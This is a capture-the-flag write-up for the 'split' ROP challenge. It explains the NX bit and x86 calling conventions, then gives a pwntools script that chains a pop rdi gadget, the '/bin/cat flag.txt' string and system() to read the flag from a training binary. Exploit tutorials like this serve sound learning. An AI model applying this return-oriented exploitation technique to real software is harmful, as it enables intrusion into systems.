About the challenge

I’ll let you in on a secret; that useful string “/bin/cat flag.txt” is still present in this binary, as is a call to system(). It’s just a case of finding them and chaining them together to make the magic happen.

Before we begin let’s check the permissions on our target binary. We’re employing ROP due to the presence of NX, but we’d feel pretty stupid if it turned out that none of these binaries were compiled with NX enabled. We’ll check that this isn’t the case and we can’t just JMP ESP with a little shellcode. rabin2 -I split lets us know that NX is indeed enabled.

NX stands of non-executable stack.

The NX bit (no-execute) is a technology used in CPUs to segregate areas of memory for use by either storage of processor instructions (code) or for storage of data, a feature normally only found in Harvard architecture processors. However, the NX bit is being increasingly used in conventional von Neumann architecture processors, for security reasons.

An operating system with support for the NX bit may mark certain areas of memory as non-executable. The processor will then refuse to execute any code residing in these areas of memory. The general technique, known as executable space protection, is used to prevent certain types of malicious software from taking over computers by inserting their code into another program’s data storage area and running their own code from within this section; one class of such attacks is known as the buffer overflow attack.

Pwn Requirements

We need a 3 link chain for 64bit exploit but you only need a two link chain for the 32bit challenges, but why do we need an extra chain? Well that’s because of the way values are placed into the registers from the stack.

x86_32

+---------+------+------+------+------+------+------+| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |+---------+------+------+------+------+------+------+|   %eax  | %ebx | %ecx | %edx | %esi | %edi | %ebp |+---------+------+------+------+------+------+------+

The 32bit version would be…

offset_padding + system_addr + 4_bytes_padding + print_flag_cmd

x86_64

+---------+------+------+------+------+------+------+| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |+---------+------+------+------+------+------+------+|   %rax  | %rdi | %rsi | %rdx | %r10 | %r8  | %r9  |+---------+------+------+------+------+------+------+

The 64bit version is…

offset_padding + pop_rdi_gadget + print_flag_cmd + system_addr

Now we know what we need to build our ROP syscall: (1) A string containing “/bin/cat flag.txt”, (2) the address of system and (3) a gadget to add “/bin/cat flag.txt” to rdi register, pop rdi; ret, is what we want.

We can get everything we need with radare2 and then build the exploit with pwntools.

Two new things we have not used before is iz which searches for strings and /a which can be used to search for gadgets

split64
Recorded by int0x33asciinema.org

Exploit

from pwn import *
# Set up pwntools to work with this binary
elf = context.binary = ELF('split')
# Print out system address
info("%#x system", elf.symbols.system)
system = p64(elf.symbols.system)
# Print flag
print_flag = p64(elf.symbols.usefulString)
# Gadget
gadget = p64(0x0000000000400883)
# Send the payload
io = process(elf.path)
payload = "A"*40 + gadget + print_flag + system
io.sendline(payload)
io.recvuntil("> ")
# Get our flag!
flag = io.recvline()
print "Flag: " + flag

split exploit
Recorded by int0x33asciinema.org